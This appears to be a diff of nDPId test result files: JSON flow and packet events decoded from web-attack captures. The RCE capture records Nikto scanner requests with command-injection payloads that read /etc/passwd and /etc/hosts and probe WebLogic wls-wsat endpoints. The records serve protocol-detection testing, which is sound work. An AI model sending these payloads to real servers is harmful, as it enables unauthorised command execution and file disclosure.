+00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":788,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":788,"flow_packet_id":1,"flow_first_seen":1576420278000,"flow_last_seen":0,"flow_tot_l4_data_len":292,"flow_min_l4_data_len":292,"flow_max_l4_data_len":292,"flow_avg_l4_data_len":292,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51186,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00782{"flow_id":788,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":788,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420278,"pkt_ts_usec":203,"pkt_caplen":326,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":326,"pkt_l4_len":292,"pkt":"AAAAAAAAAAAAAAAACABFAAE4KORAAEAGEtp\/AAABfwAAAcfyH5Cd7RG\/LUrqEYAYAED\/LAAAAQEICp1nABidZwAYR0VUIC9zaGVsbD9jYXQlMjAvZXRjL3Bhc3N3ZCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDA3MDg0KQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQNCkNvbnRlbnQtTGVuZ3RoOiAzOQ0KDQp0cmFuc2FjdGlvbl9pZD0xJm9hdXRoX3Rva2VuPSclM2JlY2hvICc="} +00774{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":788,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":788,"flow_packet_id":1,"flow_first_seen":1576420278000,"flow_last_seen":0,"flow_tot_l4_data_len":292,"flow_min_l4_data_len":292,"flow_max_l4_data_len":292,"flow_avg_l4_data_len":292,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51186,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/shell?cat%20\/etc\/passwd","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:007084)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":789,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":789,"flow_packet_id":1,"flow_first_seen":1576420278001,"flow_last_seen":0,"flow_tot_l4_data_len":297,"flow_min_l4_data_len":297,"flow_max_l4_data_len":297,"flow_avg_l4_data_len":297,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51188,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00790{"flow_id":789,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":789,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420278,"pkt_ts_usec":1517,"pkt_caplen":331,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":331,"pkt_l4_len":297,"pkt":"AAAAAAAAAAAAAAAACABFAAE9gkdAAEAGuXF\/AAABfwAAAcf0H5CX+bsaLFgA+4AYAED\/MQAAAQEICp1nABmdZwAZR0VUIC93bHMtd3NhdC9Db29yZGluYXRvclBvcnRUeXBlIEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDA3MTgyKQ0KQ29udGVudC1MZW5ndGg6IDM5DQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZA0KSG9zdDogMTI3LjAuMC4xDQoNCnRyYW5zYWN0aW9uX2lkPTEmb2F1dGhfdG9rZW49JyUzYmVjaG8gJw=="} +00778{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":789,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":789,"flow_packet_id":1,"flow_first_seen":1576420278001,"flow_last_seen":0,"flow_tot_l4_data_len":297,"flow_min_l4_data_len":297,"flow_max_l4_data_len":297,"flow_avg_l4_data_len":297,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51188,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/wls-wsat\/CoordinatorPortType","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:007182)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":790,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":790,"flow_packet_id":1,"flow_first_seen":1576420278002,"flow_last_seen":0,"flow_tot_l4_data_len":301,"flow_min_l4_data_len":301,"flow_max_l4_data_len":301,"flow_avg_l4_data_len":301,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51190,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00794{"flow_id":790,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":790,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420278,"pkt_ts_usec":2806,"pkt_caplen":335,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":335,"pkt_l4_len":301,"pkt":"AAAAAAAAAAAAAAAACABFAAFBkptAAEAGqRl\/AAABfwAAAcf2H5CPbqvGHGavS4AYAED\/NQAAAQEICp1nABqdZwAaR0VUIC93bHMtd3NhdC9SZWdpc3RyYXRpb25Qb3J0VHlwZVJQQyBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb250ZW50LUxlbmd0aDogMzkNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDA3MTgzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQp0cmFuc2FjdGlvbl9pZD0xJm9hdXRoX3Rva2VuPSclM2JlY2hvICc="} +00782{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":790,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":790,"flow_packet_id":1,"flow_first_seen":1576420278002,"flow_last_seen":0,"flow_tot_l4_data_len":301,"flow_min_l4_data_len":301,"flow_max_l4_data_len":301,"flow_avg_l4_data_len":301,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51190,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/wls-wsat\/RegistrationPortTypeRPC","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:007183)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":791,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":791,"flow_packet_id":1,"flow_first_seen":1576420278004,"flow_last_seen":0,"flow_tot_l4_data_len":297,"flow_min_l4_data_len":297,"flow_max_l4_data_len":297,"flow_avg_l4_data_len":297,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51192,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00791{"flow_id":791,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":791,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420278,"pkt_ts_usec":4072,"pkt_caplen":331,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":331,"pkt_l4_len":297,"pkt":"AAAAAAAAAAAAAAAACABFAAE99rJAAEAGRQZ\/AAABfwAAAcf4H5DOUc\/uMPSpHIAYAED\/MQAAAQEICp1nABudZwAbR0VUIC93bHMtd3NhdC9QYXJ0aWNpcGFudFBvcnRUeXBlIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbnRlbnQtTGVuZ3RoOiAzOQ0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDcxODQpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCnRyYW5zYWN0aW9uX2lkPTEmb2F1dGhfdG9rZW49JyUzYmVjaG8gJw=="} +00778{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":791,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":791,"flow_packet_id":1,"flow_first_seen":1576420278004,"flow_last_seen":0,"flow_tot_l4_data_len":297,"flow_min_l4_data_len":297,"flow_max_l4_data_len":297,"flow_avg_l4_data_len":297,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51192,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/wls-wsat\/ParticipantPortType","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:007184)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":792,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":792,"flow_packet_id":1,"flow_first_seen":1576420278005,"flow_last_seen":0,"flow_tot_l4_data_len":307,"flow_min_l4_data_len":307,"flow_max_l4_data_len":307,"flow_avg_l4_data_len":307,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51194,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00802{"flow_id":792,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":792,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420278,"pkt_ts_usec":5429,"pkt_caplen":341,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":341,"pkt_l4_len":307,"pkt":"AAAAAAAAAAAAAAAACABFAAFH9c9AAEAGRd9\/AAABfwAAAcf6H5CvysyRaoy75oAYAED\/OwAAAQEICp1nAB2dZwAdR0VUIC93bHMtd3NhdC9SZWdpc3RyYXRpb25SZXF1ZXN0ZXJQb3J0VHlwZSBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwNzE4NSkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtTGVuZ3RoOiAzOQ0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQNCkhvc3Q6IDEyNy4wLjAuMQ0KDQp0cmFuc2FjdGlvbl9pZD0xJm9hdXRoX3Rva2VuPSclM2JlY2hvICc="} +00788{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":792,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":792,"flow_packet_id":1,"flow_first_seen":1576420278005,"flow_last_seen":0,"flow_tot_l4_data_len":307,"flow_min_l4_data_len":307,"flow_max_l4_data_len":307,"flow_avg_l4_data_len":307,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51194,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/wls-wsat\/RegistrationRequesterPortType","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:007185)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":793,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":793,"flow_packet_id":1,"flow_first_seen":1576420278006,"flow_last_seen":0,"flow_tot_l4_data_len":299,"flow_min_l4_data_len":299,"flow_max_l4_data_len":299,"flow_avg_l4_data_len":299,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51196,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00791{"flow_id":793,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":793,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420278,"pkt_ts_usec":6738,"pkt_caplen":333,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":333,"pkt_l4_len":299,"pkt":"AAAAAAAAAAAAAAAACABFAAE\/YadAAEAG2g9\/AAABfwAAAcf8H5A46lj5CJ27noAYAED\/MwAAAQEICp1nAB6dZwAeR0VUIC93bHMtd3NhdC9Db29yZGluYXRvclBvcnRUeXBlMTEgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29udGVudC1MZW5ndGg6IDM5DQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwNzE4NikNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0KdHJhbnNhY3Rpb25faWQ9MSZvYXV0aF90b2tlbj0nJTNiZWNobyAn"} +00780{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":793,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":793,"flow_packet_id":1,"flow_first_seen":1576420278006,"flow_last_seen":0,"flow_tot_l4_data_len":299,"flow_min_l4_data_len":299,"flow_max_l4_data_len":299,"flow_avg_l4_data_len":299,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51196,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/wls-wsat\/CoordinatorPortType11","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:007186)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":794,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":794,"flow_packet_id":1,"flow_first_seen":1576420278008,"flow_last_seen":0,"flow_tot_l4_data_len":303,"flow_min_l4_data_len":303,"flow_max_l4_data_len":303,"flow_avg_l4_data_len":303,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51198,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00798{"flow_id":794,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":794,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420278,"pkt_ts_usec":8126,"pkt_caplen":337,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":337,"pkt_l4_len":303,"pkt":"AAAAAAAAAAAAAAAACABFAAFD5CdAAEAGV4t\/AAABfwAAAcf+H5BRed18Cunwm4AYAED\/NwAAAQEICp1nACCdZwAfR0VUIC93bHMtd3NhdC9SZWdpc3RyYXRpb25Qb3J0VHlwZVJQQzExIEhUVFAvMS4xDQpDb250ZW50LUxlbmd0aDogMzkNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDA3MTg3KQ0KSG9zdDogMTI3LjAuMC4xDQoNCnRyYW5zYWN0aW9uX2lkPTEmb2F1dGhfdG9rZW49JyUzYmVjaG8gJw=="} +00784{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":794,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":794,"flow_packet_id":1,"flow_first_seen":1576420278008,"flow_last_seen":0,"flow_tot_l4_data_len":303,"flow_min_l4_data_len":303,"flow_max_l4_data_len":303,"flow_avg_l4_data_len":303,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51198,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/wls-wsat\/RegistrationPortTypeRPC11","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:007187)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":795,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":795,"flow_packet_id":1,"flow_first_seen":1576420278010,"flow_last_seen":0,"flow_tot_l4_data_len":299,"flow_min_l4_data_len":299,"flow_max_l4_data_len":299,"flow_avg_l4_data_len":299,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51200,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00792{"flow_id":795,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":795,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420278,"pkt_ts_usec":10669,"pkt_caplen":333,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":333,"pkt_l4_len":299,"pkt":"AAAAAAAAAAAAAAAACABFAAE\/OK1AAEAGAwp\/AAABfwAAAcgAH5D7EgH2VMq6xIAYAED\/MwAAAQEICp1nACKdZwAiR0VUIC93bHMtd3NhdC9QYXJ0aWNpcGFudFBvcnRUeXBlMTEgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDcxODgpDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZA0KQ29udGVudC1MZW5ndGg6IDM5DQpIb3N0OiAxMjcuMC4wLjENCg0KdHJhbnNhY3Rpb25faWQ9MSZvYXV0aF90b2tlbj0nJTNiZWNobyAn"} +00780{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":795,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":795,"flow_packet_id":1,"flow_first_seen":1576420278010,"flow_last_seen":0,"flow_tot_l4_data_len":299,"flow_min_l4_data_len":299,"flow_max_l4_data_len":299,"flow_avg_l4_data_len":299,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51200,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/wls-wsat\/ParticipantPortType11","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:007188)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":796,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":796,"flow_packet_id":1,"flow_first_seen":1576420278012,"flow_last_seen":0,"flow_tot_l4_data_len":309,"flow_min_l4_data_len":309,"flow_max_l4_data_len":309,"flow_avg_l4_data_len":309,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51202,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00808{"flow_id":796,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":796,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420278,"pkt_ts_usec":12576,"pkt_caplen":343,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":343,"pkt_l4_len":309,"pkt":"AAAAAAAAAAAAAAAACABFAAFJWQ5AAEAG4p5\/AAABfwAAAcgCH5Cjm2BUk9d3uYAYAED\/PQAAAQEICp1nACSdZwAkR0VUIC9sb2dpbi5jZ2k\/Y2xpPWFhJTIwYWElMjdjYXQlMjAvZXRjL2hvc3RzIEhUVFAvMS4xDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZA0KQ29udGVudC1MZW5ndGg6IDM5DQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDA3MjM0KQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCnRyYW5zYWN0aW9uX2lkPTEmb2F1dGhfdG9rZW49JyUzYmVjaG8gJw=="} +00791{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":796,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":796,"flow_packet_id":1,"flow_first_seen":1576420278012,"flow_last_seen":0,"flow_tot_l4_data_len":309,"flow_min_l4_data_len":309,"flow_max_l4_data_len":309,"flow_avg_l4_data_len":309,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51202,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/login.cgi?cli=aa%20aa%27cat%20\/etc\/hosts","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:007234)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":797,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":797,"flow_packet_id":1,"flow_first_seen":1576420278014,"flow_last_seen":0,"flow_tot_l4_data_len":289,"flow_min_l4_data_len":289,"flow_max_l4_data_len":289,"flow_avg_l4_data_len":289,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51204,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00779{"flow_id":797,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":797,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420278,"pkt_ts_usec":14387,"pkt_caplen":323,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":323,"pkt_l4_len":289,"pkt":"AAAAAAAAAAAAAAAACABFAAE1Ck9AAEAGMXJ\/AAABfwAAAcgEH5AitzMTI6HHCIAYAED\/KQAAAQEICp1nACadZwAmR0VUIC9zaGVsbD9jYXQrL2V0Yy9ob3N0cyBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwNzIzNSkNCkNvbnRlbnQtTGVuZ3RoOiAzOQ0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQNCkhvc3Q6IDEyNy4wLjAuMQ0KDQp0cmFuc2FjdGlvbl9pZD0xJm9hdXRoX3Rva2VuPSclM2JlY2hvICc="} +00771{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":797,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":797,"flow_packet_id":1,"flow_first_seen":1576420278014,"flow_last_seen":0,"flow_tot_l4_data_len":289,"flow_min_l4_data_len":289,"flow_max_l4_data_len":289,"flow_avg_l4_data_len":289,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51204,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/shell?cat+\/etc\/hosts","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:007235)"}} diff --git a/test/results/WebattackSQLinj.pcap.out b/test/results/WebattackSQLinj.pcap.out new file mode 100644 index 000000000..aba945694 --- /dev/null +++ b/test/results/WebattackSQLinj.pcap.out @@ -0,0 +1,116 @@ +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1499348407419,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":36196,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348407,"pkt_ts_usec":419016,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA84aRAAD4G5CusEAABwKgKMo1kAFAWk4RJAAAAAKACchDPRwAAAgQFtAQCCAoBPmXtAAAAAAEDAwc="} +00442{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348407,"pkt_ts_usec":419147,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQjWS7EzBkFpOESqAScSCpZgAAAgQFtAQCCAoD6DdgAT5l7QEDAwc="} +00430{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"WebattackSQLinj.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348407,"pkt_ts_usec":420458,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA04aVAAD4G5DKsEAABwKgKMo1kAFAWk4RKuxMwZYAQAOVIbgAAAQEICgE+Ze0D6Ddg"} 